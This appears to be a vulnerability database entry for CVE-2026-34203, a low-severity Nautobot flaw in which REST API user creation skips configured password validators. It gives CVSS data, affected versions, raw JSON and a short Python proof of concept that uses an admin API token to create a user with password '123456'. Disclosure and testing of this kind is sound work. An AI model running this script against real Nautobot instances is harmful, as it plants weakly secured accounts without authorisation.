Security Vulnerability Report
中文
CVE-2026-34203 CVSS 2.7 LOW

CVE-2026-34203

Published: 2026-03-31 20:16:28
Last Modified: 2026-04-07 16:10:21

Description

Nautobot is a Network Source of Truth and Network Automation Platform. Prior to versions 2.4.30 and 3.0.10, user creation and editing via the REST API fails to apply the password validation rules defined by Django's AUTH_PASSWORD_VALIDATORS setting (which defaults to an empty list, i.e., no specific rules, but can be configured in Nautobot's nautobot_config.py to apply various rules if desired). This can potentially allow for the creation or modification of users to have passwords that are weak or otherwise do not comply with configured standards. This issue has been patched in versions 2.4.30 and 3.0.10.

CVSS Details

CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:networktocode:nautobot:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:networktocode:nautobot:*:*:*:*:*:*:*:* - VULNERABLE
Nautobot < 2.4.30
Nautobot >= 3.0.0, < 3.0.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL for user creation url = "https://<nautobot-host>/api/users/" # Headers with authentication (High privilege token required) headers = { "Authorization": "Token <HIGH_PRIVILEGE_API_TOKEN>", "Content-Type": "application/json", "Accept": "application/json" } # Payload containing a weak password that bypasses validation payload = { "username": "testuser", "password": "123456", "email": "[email protected]" } # Send POST request to create user response = requests.post(url, json=payload, headers=headers, verify=False) if response.status_code == 201: print("[+] Success: User created with weak password.") print(f"[+] Response: {response.json()}") else: print(f"[-] Failed: {response.status_code}") print(response.text)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34203", "sourceIdentifier": "[email protected]", "published": "2026-03-31T20:16:28.360", "lastModified": "2026-04-07T16:10:20.773", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nautobot is a Network Source of Truth and Network Automation Platform. Prior to versions 2.4.30 and 3.0.10, user creation and editing via the REST API fails to apply the password validation rules defined by Django's AUTH_PASSWORD_VALIDATORS setting (which defaults to an empty list, i.e., no specific rules, but can be configured in Nautobot's nautobot_config.py to apply various rules if desired). This can potentially allow for the creation or modification of users to have passwords that are weak or otherwise do not comply with configured standards. This issue has been patched in versions 2.4.30 and 3.0.10."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-521"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:networktocode:nautobot:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.30", "matchCriteriaId": "C701138B-987A-4CC7-A01A-A9319DA16A51"}, {"vulnerable": true, "criteria": "cpe:2.3:a:networktocode:nautobot:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.0.10", "matchCriteriaId": "D3259E19-11F4-4DA7-8D25-919F7E9D0E90"}]}]}], "references": [{"url": "https://github.com/nautobot/nautobot/commit/589f7caf54124ad76bc9fcbb7bdcaa25627cd598", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nautobot/nautobot/commit/d1ef3135aa02fa07de061e8c085f8cce425fe8c9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nautobot/nautobot/pull/8778", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/nautobot/nautobot/pull/8779", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/nautobot/nautobot/security/advisories/GHSA-xmpv-j7p2-j873", "source": "[email protected]", "tags": ["Mitigation", "Patch", "Vendor Advisory"]}]}}